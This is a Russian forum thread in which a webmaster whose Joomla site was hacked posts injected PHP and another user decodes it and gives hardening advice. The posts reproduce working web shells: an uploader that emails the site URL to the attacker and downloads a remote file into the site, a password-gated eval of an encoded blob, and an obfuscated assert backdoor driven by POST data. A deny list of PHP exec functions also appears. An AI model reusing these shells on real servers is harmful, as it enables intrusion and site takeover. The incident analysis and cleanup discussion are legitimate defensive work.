Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » В помощь вебмастеру » Взломали сайт

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3

Открыть новую тему     Написать ответ в эту тему

gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте.
Подливают  постоянно  вот следующее. Что это  такое  и как  устранить?
<center>
<h5>MoroccanWolf</h5>
<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
$system = @php_uname();
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = 'achroufa4@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "$x_path";
mail($tujuanmail, $system , $pesan_alert,"[ " . $_SERVER['SERVER_NAME'] . " ]");
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check3 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/contacr.php" ;
$text3 = http_get('http://phoenix.slamscouts.org.uk/components/com_foxcontact/js/contac.txt');
$open3 = fopen($check3, 'w');
fwrite($open3, $text3);
fclose($open3);
if(file_exists($check3)){
}
?>
</center>
 
Добавлено:
т.е   нужно  найти  дыру  через которую  подливают  всякую дрянь.  

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 07:43 07-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
нужно  найти  дыру  через которую  подливают  всякую дрянь

смотрите время изменения, анализируете http/ftp логи в это время на подозрительную активность.
но сначала удалить весь лишний код, так как может быть не только в этом файле.
 
как вариант могут взломать и хостера, если shared, но это реже. с бОльшей вероятностью у вас стоит либо CMS с дырой, либо в ней дырявый плагин или тема.
 
я бы, для начала, отрубил curl модуль в php (если у вас есть возможность и он не нужен)

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:09 07-10-2017 | Исправлено: Mavrikii, 08:10 07-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подробнее... И ещё  вот   это  ищу  пока  чем расшифровать если есть предложения  ответе пожалуйста .  
 
Добавлено:

Цитата:
CMS с дырой

Да  дыра  обширная  тут  и вирус  уже нашёлся.  А  изменение в   бд как  можно  определить? Потому как  просматривал все файлы  дата  и время заражённых  файлов   такое  же как  и у других что  очень странно,  код  какой то  нашёл  когда  скачал  все файлы  и проверил антивирусом.

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:26 07-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
ищу  пока  чем расшифровать  

обычный base64.
то, что до return выглядит так

Код:
$O000O0O00=$GLOBALS['OOO000O00']($OOO0O0O00,'rb');$GLOBALS['O0O00OO00']($O000O0O00,0x50d);$OO00O00O0=$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,0x1a8),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);

 

Цитата:
А  изменение в   бд как  можно  определить?

руками.. либо сравнивания с бэкапом до заражения. но из базы, обычно, ничего не должно исполняться через eval
 
$O000O0O00=$GLOBALS['OOO000O00']($OOO0O0O00,'rb'); - в переменную $O000O0O00 записывается выполенени функции, чье имя сидит в глобальной переменной $OOO000O00 (скорее всего это чтение файла), а параметрами функции являются имя файла из $OOO0O0O00. файл открывается только на чтение как бинарный.
 
$GLOBALS['O0O00OO00']($O000O0O00,0x50d); - выполняется функция, чье имя записано в переменной $O0O00OO00 и в нее передается переменная $O000O0O00 с содержимым прочитанного выше файла и вторым аргументом 0x50d (число 1293). скорее всего читается этот же файл, в котором находится весь этот обфускированный код, далее обрезаются первые 1293 байта (чтобы получить закодированную часть после ?>, правда там всего 465 символов)
 
$OO00O00O0=$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,0x1a8),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
ну и тут понятно,что делается.. декодируется та часть кода, в конце концов в $OO00O00O0 попадает некоторый php код (его можно просто вывести через echo $OO00O00O0) и он выполняется функцией eval
 
eval($OO00O00O0);
 
ps: вот уже кто то копал - https://www.unphp.net/decode/414c063fc49e7a5a3021ccf65f92c4c4/
 
но судя по всему, это лишь встроенная в тему защита - https://stackoverflow.com/questions/27938322/decoding-base64-string-please

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:31 07-10-2017 | Исправлено: Mavrikii, 08:45 07-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
<center>
<h5>MoroccanWolf & bajatax</h5>
<?php
 
if(md5($_GET['bajatax'])=="41bf46e1822f1b7e515d91d45c54ea30"){
?>
<?php
 eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJ
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); } ?>
</center>
Вот ещё  отрыл  пару  файликов )))  
 
Добавлено:
Наверно   пытались  сделать  переадресацию  с  контактов

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:52 07-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
Наверно   пытались  сделать  переадресацию  с  контактов
 

всего лишь форма для заливки файлов на сервер

Код:
echo '<title>Uploader by ghost-dz</title>';
echo php_uname();
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload ok !!!'; }
    else { echo 'Upload Fail !!!'; }
}

а
Код:
if(md5($_GET['bajatax'])=="41bf46e1822f1b7e515d91d45c54ea30"){  

используется как пароль, чтобы никто другой формой не пользовался

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:57 07-10-2017 | Исправлено: Mavrikii, 08:59 07-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
файлов на сервер  
и  залили  каки )))  
Устранение  верное  что бы  залитые  файлы не работали ?
 
<Files ~ ".(php)$">
Deny from all  
</Files>
 
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
 
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
 
<Files ~ "\.xml$">
Order allow,deny
Deny from all
Satisfy all
</Files>
Больше  пока  не придумал как  устранить.
 
Добавлено:
Что бы не заливали в  эту папку.  
 
Добавлено:
И сделал  вылеченного  сайта  бэкап

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 13:19 07-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
?php  
 
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."\x74"."\x61"])));die;
 
Что  это.  

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 10:01 08-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109
вы основы php знаете?  
идете сюда,  к примеру http://sandbox.onlinephpfunctions.com/
вводите

Код:
<?php
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";
$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";
$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);
echo $ohx . "\n";
echo $twu . "\n";
echo $ye . "\n";
echo chr(100)."a"."\x74"."\x61" . "\n";

внизу кнопка выполнения, смотрите результат, сравниваете.
 
через POST в поле 'data' кидается "закодированный" php код, который раскодируется сначала с помощью str_rot13, потом base64_decode и выполняется в функции assert (когда в assert передается строка, то она аналогична eval)

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 06:48 09-10-2017 | Исправлено: Mavrikii, 06:51 09-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Mavrikii Как  думаете  такой  вот  запрет  исполнения  исправит  проблему ? Если  запретить  исполнять следующие функции?
eval, get_current_user, apache_get_modules, virtual, getmyinode, fileowner, filegroup, apache_get_version, apache_getenv, ini_restore, openlog, syslog, highlight_file, show_source, symlink, disk_total_space, ini_get_all, phpinfo, pcntl_alarm, disk_free_space, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, exec, shell_exec, system, passthru, popen, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys, php_uname, getmyuid, getmypid, diskfreespace, dl, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname
 
 
 
Добавлено:
Пробовал  такой  вариант  просто  запретил исполнять  функции  которые  не использует cms.  Список  получился  когда  искал дыру  на сайте)
 
Добавлено:

Цитата:
внизу кнопка выполнения, смотрите результат, сравниваете.

Да я  разобрался но cms  такая  дырявая что ужас. Видь  лучшего  аудита  безопасности   как  взлом  нет. Ещё  и  хостинг  дырявый  оказался.
 
Добавлено:
https://stackoverflow.com/questions/14532987/disable-php-functions-within-htaccess
Интересная  статья  с последующими.  

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 15:30 14-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
такой  вот  запрет  исполнения  исправит  проблему ?  

необязательно. сейчас ломают не для того, чтобы получить доступ к системе (бОльшая часть списка это системные функции), а чтобы использовать чужой сайт для накрутки трафика. для этого не нужны особенные функции, лишь подмена информации поисковикам/переадресация посетителей, ну и возможность использования сервера для дальнейшего взлома других и создания подобного ботнета на скриптах.

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 20:52 14-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Mavrikii
Вот  и  помимо  этого  решил  изменить  код joomla.
1.  Заменить  стандартные  классы cms ?
 
 

Цитата:
 лишь подмена информации поисковикам/переадресация посетителей

 
Можно  про это подробнее  и если можно ссылки  почитать? Пожалуйста.

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 17:26 15-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
Можно  про это подробнее  и если можно ссылки  почитать?  

сами найдете, просто для поисковика (элементарно определяется по ip или user-agent) выдается другое содержимое. как и для людей пришедших с него (определяется по referer)
 

Цитата:
Вот  и  помимо  этого  решил  изменить  код joomla.  
1.  Заменить  стандартные  классы cms ?

не страдайте фигней. потом будете выяснять почему не работают плагины или не сможете обновиться.

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 21:34 15-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Обновится  да . Не получится.  
Вирусяку  нашёл  (мобильную)  
Включил  запрет на файловую  инъекцию. Но joomla  это не спасёт. У меня  такое, предположение  что ещё  дырявие стал cms 3,8.

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:15 16-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
У меня  такое, предположение  что ещё  дырявие

следите за сайтами со списками уязвимостей
https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html
https://vel.joomla.org/live-vel
и тд и тп
 
а насчет защиты, самая оптимальная - не давать ничего записывать в файловую систему вообще, а если давать, то в папку вне веба. и настроить права доступа/владельца файлов и других папок так, чтобы ничего нельзя было записать или изменить.
в такой ситуации остается только возможность что то писать в базу и использовать это для XSS или попыток заразить.

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:17 16-10-2017 | Исправлено: Mavrikii, 08:21 16-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А  интересно   можно сделать  фильтрацию.  Путём прописывания всех  файлов joomla, а  которых нету просто ( разумеется идёт  речь которые  могут  подлить) жёстко  удалять или запретить исполнение  запись и т.д? Или  это   будет  бесполезно? И  не стоит  времени?

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:24 16-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109
Вам с этими вопросами в другой раздел и в тему по Joomla.
Смотрите на https://extensions.joomla.org/extension/eyesite/ или иной любой другой аналог, который может составлять хэши файлов и регулярно проверять и извещать, если что изменилось.
Подобное легко написать и самому.

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:26 16-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
не давать ничего записывать в файловую систему вообще

Так  к примеру?
RewriteEngine On
 
RewriteCond %{REQUEST_URI} !=/admin/file1.php
RewriteCond %{REQUEST_URI} !=/admin/file5.php
RewriteCond %{REQUEST_URI} !=/admin/file7.html
RewriteCond %{REQUEST_URI} !=/admin/tpl/file1.tpl
RewriteCond %{REQUEST_URI} !=/admin/kartinka1.jpg
RewriteRule ^ - [F,L]

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:35 16-10-2017
Mavrikii

Platinum Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
gnom20109

Цитата:
Так  к примеру?

нет, правами доступа в файловой системе сервера

Всего записей: 15040 | Зарегистр. 20-09-2014 | Отправлено: 08:39 16-10-2017
gnom20109

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
регулярно проверять и извещать, если что изменилось.

Да это решение  очень  разумное, попробую написать с  отправкой на почту  если, что-то меняется   то что бы мне приходил отчёт  на почту. Даже  будет  легче найти если всё таки куда то  что то   залили.
 
 
Добавлено:

Цитата:
правами доступа в файловой системе сервера

Ясно. Интересные  настройки  нашёл в настройках хостингом. Запретить  внешнею загрузку файлов, разрешить  для  папки и т.д.
Это  да?

Всего записей: 106 | Зарегистр. 25-01-2014 | Отправлено: 08:46 16-10-2017
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3

Компьютерный форум Ru.Board » Интернет » В помощь вебмастеру » Взломали сайт


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru